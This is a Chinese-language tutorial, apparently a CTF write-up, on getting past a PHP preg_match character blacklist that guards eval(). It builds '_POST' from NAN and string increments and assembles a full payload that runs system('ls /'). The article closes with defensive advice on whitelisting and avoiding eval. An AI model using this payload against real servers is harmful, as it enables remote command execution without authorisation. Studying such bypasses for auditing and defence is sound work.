从字符集测试到变量构造:PHP preg_match绕过的深度调试指南

在代码审计和安全研究中,绕过过滤机制是常见的挑战。PHP的 preg_match 函数常被用于输入验证,但巧妙利用未被过滤的字符组合往往能突破限制。本文将带你深入探索如何从零开始构建有效的payload,而不仅仅是复制现成的解决方案。

1. 理解题目环境与过滤机制

首先我们需要完整理解题目设置的过滤条件。给定的PHP代码对输入进行了多重验证:

if (strlen($code) <= 105){
    if (is_string($code)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/",$code)){
            eval($code);
        }
    }
}

这个正则表达式过滤了几乎所有字母数字字符和常见特殊符号。我们需要找出哪些字符 没有被过滤 ,这些"幸存"的字符将成为我们构建payload的基础材料。

提示:在真实审计场景中,建议先复制这个正则表达式到本地测试环境,确保完全理解其过滤范围。

2. 系统化测试可用字符集

为了科学地找出可用字符,我们可以编写一个简单的测试脚本:

<?php
$allowed = [];
for ($i=32;$i<127;$i++){
    $char = chr($i);
    if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/", $char)){
        $allowed[] = $char;
    }
}
print_r($allowed);
?>

运行这个脚本后,我们会发现一些关键可用字符:

  • 下划线 _
  • 加号 +
  • 点号 .
  • 分号 ;
  • 逗号 ,
  • 空格
  • 等号 =
  • 斜杠 /
  • 方括号 []

这些字符看似简单,但通过巧妙组合可以实现强大的功能。

3. 构建基础字符串的创造性方法

在PHP中,即使没有字母数字,我们也能构造出需要的字符串。一个关键技巧是利用PHP的类型转换和字符串操作特性:

$_=(_/_._)[_];

让我们拆解这个看似晦涩的表达式:

  1. _/_._ :这是一个字符串操作,实际结果为 "NAN" (因为 _ 被视为字符串,数学运算会转换为0)
  2. [_] _ 在字符串上下文中被视为0,所以相当于取第一个字符 "N"

这样我们就得到了字符 "N" ,这是构建更复杂字符串的起点。

4. 利用自增操作生成字母序列

PHP的字符串自增特性允许我们对单个字符进行递增:

$_++;  // "N" → "O"
$_++;  // "O" → "P"

通过这种方法,我们可以逐步构建出需要的字母。例如构建 "POST" 的过程:

  1. 初始获取 "N"
  2. 自增得到 "O"
  3. 连接操作: $__ = $_.$_++; "PO"
  4. 继续自增和连接,最终得到 "POST"

注意:PHP版本差异会影响自增行为。PHP7+表现更一致,而PHP5.x可能有意外行为,建议使用PHP7+环境测试。

5. 构造完整payload的步骤详解

让我们一步步构建最终可执行的payload:

// 步骤1:获取初始字符"N"
$_=(_/_._)[_];

// 步骤2:自增得到"O"
$_++; 

// 步骤3:构造"PO"
$__=$_.$_++;

// 步骤4:继续自增得到"Q","R","S"
$_++; $_++; $_++;

// 步骤5:构造"POS"
$__=$__.$_;

// 步骤6:自增得到"T"
$_++;

// 步骤7:构造完整"POST"
$__=$__.$_;

// 步骤8:构造"_POST"超全局变量
$_=_.$__;

// 步骤9:通过变量变量执行命令
$$_[_]($$_[__]);

最终的payload需要通过POST传递额外参数:

code=$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=ls /

6. 实战中的常见问题与解决方案

在实际测试中,可能会遇到几个典型问题:

  1. PHP版本兼容性问题

    • PHP5.x可能在某些自增操作上表现不一致
    • 建议使用PHP7.0+环境测试
  2. 参数传递问题

    • 最后的 $$_[_]($$_[__]) 需要外部传入 _ __ 参数
    • 忘记传参会报错,确保POST请求包含这些参数
  3. 字符集限制问题

    • 不同环境下可用字符可能略有差异
    • 建议先在本地完整测试payload

7. 防御建议与安全思考

理解这种绕过技术后,我们应该思考如何更安全地设计过滤机制:

  • 使用白名单而非黑名单策略
  • 对特定字符组合进行额外检查
  • 限制eval等危险函数的使用
  • 实施多层防御机制

这种绕过技术展示了黑名单过滤的根本弱点。在真实项目中,应该采用更积极的防御策略,如输入验证、输出编码和最小权限原则。

更多推荐